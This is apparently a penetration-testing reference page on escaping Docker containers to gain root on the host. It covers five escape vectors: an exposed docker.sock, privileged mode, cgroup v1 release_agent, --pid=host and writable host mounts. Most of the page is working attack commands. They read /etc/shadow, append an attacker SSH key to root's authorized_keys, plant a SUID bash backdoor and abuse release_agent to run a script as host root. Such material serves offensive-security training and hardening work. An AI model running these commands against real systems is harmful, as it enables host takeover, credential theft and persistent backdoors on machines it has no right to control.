Skip to content

Docker Container Escape and Host Privilege Escalation

5 min read Created Mar 14, 2026 Last updated Apr 24, 2026

Docker containers share the host kernel. Several misconfigurations allow escaping the container namespace to gain root on the host. Confirm which scenario applies before choosing a technique.

Common docker container escape vectors:

  • Docker socket mounted inside the container
  • Privileged mode with full capabilities
  • Host PID namespace access (--pid=host)
  • cgroup v1 release_agent abuse
  • Writable host paths mounted into the container

Prerequisites Check

Determine whether you are inside a container or on the host:

┌──(kali㉿kali)-[~]
└─$ # Strong indicators you are inside a container
┌──(kali㉿kali)-[~]
└─$ cat /.dockerenv 2>/dev/null && echo "Inside Docker container"
┌──(kali㉿kali)-[~]
└─$ cat /proc/1/cgroup | grep -i docker
┌──(kali㉿kali)-[~]
└─$ ls -la /.dockerenv
 
┌──(kali㉿kali)-[~]
└─$ # Check hostname: containers often have random hex hostnames
┌──(kali㉿kali)-[~]
└─$ hostname
┌──(kali㉿kali)-[~]
└─$ cat /etc/hostname

If you are on the host and in the docker group, see https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for the docker group escalation path. This page covers escaping from inside a container.

Check your container's privilege level:

┌──(kali㉿kali)-[~]
└─$ # Are we privileged?
┌──(kali㉿kali)-[~]
└─$ cat /proc/self/status | grep CapEff
┌──(kali㉿kali)-[~]
└─$ # Full capabilities (0000003fffffffff or similar high value) = privileged container
 
┌──(kali㉿kali)-[~]
└─$ # Simpler check
┌──(kali㉿kali)-[~]
└─$ ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" || echo "NOT privileged"
┌──(kali㉿kali)-[~]
└─$ ip link delete dummy0 2>/dev/null

Technique 1: Docker Socket Mounted Inside Container

The most common misconfiguration. When /var/run/docker.sock is mounted inside the container, you have full control of the Docker daemon running as root on the host.

Check if the socket is present:

┌──(kali㉿kali)-[~]
└─$ ls -la /var/run/docker.sock
┌──(kali㉿kali)-[~]
└─$ find / -name "docker.sock" 2>/dev/null

If present and readable, mount the host filesystem via a new container:

┌──(kali㉿kali)-[~]
└─$ # Check if docker CLI is available
┌──(kali㉿kali)-[~]
└─$ docker version 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # If docker CLI is present
┌──(kali㉿kali)-[~]
└─$ docker run -v /:/host -it alpine chroot /host /bin/bash

If docker CLI is not in the container but the socket is accessible, use the Docker API directly via curl:

┌──(kali㉿kali)-[~]
└─$ # List images via API
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool | grep RepoTags
 
┌──(kali㉿kali)-[~]
└─$ # Create a privileged container via API and exec into it
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' http://localhost/containers/create?name=escape
 
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start
 
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["/bin/sh","-c","chroot /host /bin/bash"]}' http://localhost/containers/escape/exec

Technique 2: Privileged Container Escape

A privileged container has all capabilities and full access to host devices. You can mount the host disk directly.

Confirm privileged mode (from the check above). Then find the host disk:

┌──(kali㉿kali)-[~]
└─$ fdisk -l 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ lsblk
┌──(kali㉿kali)-[~]
└─$ ls /dev/sd* /dev/vd* /dev/xvd* 2>/dev/null

Mount the host root filesystem:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/host
┌──(kali㉿kali)-[~]
└─$ mount /dev/sda1 /tmp/host
 
┌──(kali㉿kali)-[~]
└─$ # Or find the actual root device
┌──(kali㉿kali)-[~]
└─$ cat /proc/mounts | grep " / "
┌──(kali㉿kali)-[~]
└─$ # Use the device shown for /
┌──(kali㉿kali)-[~]
└─$ mount /dev/xvda1 /tmp/host
 
┌──(kali㉿kali)-[~]
└─$ ls /tmp/host/root/
┌──(kali㉿kali)-[~]
└─$ cat /tmp/host/etc/shadow

Write an SSH key for root:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/host/root/.ssh
┌──(kali㉿kali)-[~]
└─$ echo "ssh-rsa YOURPUBLICKEY" >> /tmp/host/root/.ssh/authorized_keys
┌──(kali㉿kali)-[~]
└─$ chmod 700 /tmp/host/root/.ssh
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/host/root/.ssh/authorized_keys

Or plant a SUID bash:

┌──(kali㉿kali)-[~]
└─$ cp /tmp/host/bin/bash /tmp/host/tmp/.rootbash
┌──(kali㉿kali)-[~]
└─$ chmod u+s /tmp/host/tmp/.rootbash
┌──(kali㉿kali)-[~]
└─$ # Then from host: /tmp/.rootbash -p

Technique 3: cgroup v1 release_agent

In privileged containers on hosts using cgroup v1, you can write to the release_agent file: a script executed by the host kernel as root when a cgroup becomes empty.

Check if cgroup v1 is available and writable:

┌──(kali㉿kali)-[~]
└─$ cat /proc/1/cgroup
┌──(kali㉿kali)-[~]
└─$ # Look for: 0::/
 
┌──(kali㉿kali)-[~]
└─$ # Check if we have a mounted cgroup hierarchy
┌──(kali㉿kali)-[~]
└─$ mount | grep cgroup
┌──(kali㉿kali)-[~]
└─$ ls /sys/fs/cgroup/

Exploit:

┌──(kali㉿kali)-[~]
└─$ # Find a writable cgroup mount
┌──(kali㉿kali)-[~]
└─$ d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
 
┌──(kali㉿kali)-[~]
└─$ # Create payload
┌──(kali㉿kali)-[~]
└─$ mkdir -p $d/x
┌──(kali㉿kali)-[~]
└─$ echo 1 > $d/x/notify_on_release
 
┌──(kali㉿kali)-[~]
└─$ # Get the cgroup path
┌──(kali㉿kali)-[~]
└─$ t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
 
┌──(kali㉿kali)-[~]
└─$ # Write the payload to release_agent
┌──(kali㉿kali)-[~]
└─$ echo "$t/cmd" > $d/release_agent
 
┌──(kali㉿kali)-[~]
└─$ # Create the command that will run on host as root
┌──(kali㉿kali)-[~]
└─$ cat > /cmd << 'EOF'
#!/bin/sh
ps aux > /output
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
┌──(kali㉿kali)-[~]
└─$ chmod +x /cmd
 
┌──(kali㉿kali)-[~]
└─$ # Trigger the release_agent by creating and killing a process in the cgroup
┌──(kali㉿kali)-[~]
└─$ sh -c "echo \$\$ > $d/x/cgroup.procs" && sleep 1
 
┌──(kali㉿kali)-[~]
└─$ # Check output
┌──(kali㉿kali)-[~]
└─$ cat /output

After the release_agent fires, /tmp/.rootbash on the host has the SUID bit set. Exit the container and run it:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p

Technique 4: --pid=host Namespace Access

If the container was started with --pid=host, it shares the host's PID namespace. You can see and interact with all host processes including root processes.

Check:

┌──(kali㉿kali)-[~]
└─$ ls /proc/ | wc -l
┌──(kali㉿kali)-[~]
└─$ # Very large number = host PID namespace
┌──(kali㉿kali)-[~]
└─$ ps aux | grep root | head -10

Inject into a root process using nsenter:

┌──(kali㉿kali)-[~]
└─$ # Find a root process PID
┌──(kali㉿kali)-[~]
└─$ ps aux | grep root | grep -v "\[" | awk '{print $2}' | head -5
 
┌──(kali㉿kali)-[~]
└─$ # Enter the host namespaces via a root process
┌──(kali㉿kali)-[~]
└─$ nsenter -t $ROOT_PID -m -u -i -n -p -- /bin/bash

Technique 5: Writable Host Path Mounted into Container

Check all mounts for host paths that are writable:

┌──(kali㉿kali)-[~]
└─$ cat /proc/mounts
┌──(kali㉿kali)-[~]
└─$ mount | grep -v "^overlay\|^proc\|^tmpfs\|^devpts\|^sysfs\|^cgroup\|^mqueue\|^shm"

If a sensitive host path is mounted into the container with write access: /etc, /home, /opt: modify files there that affect host execution. For example, write to /etc/cron.d/ if it is mounted writable.

References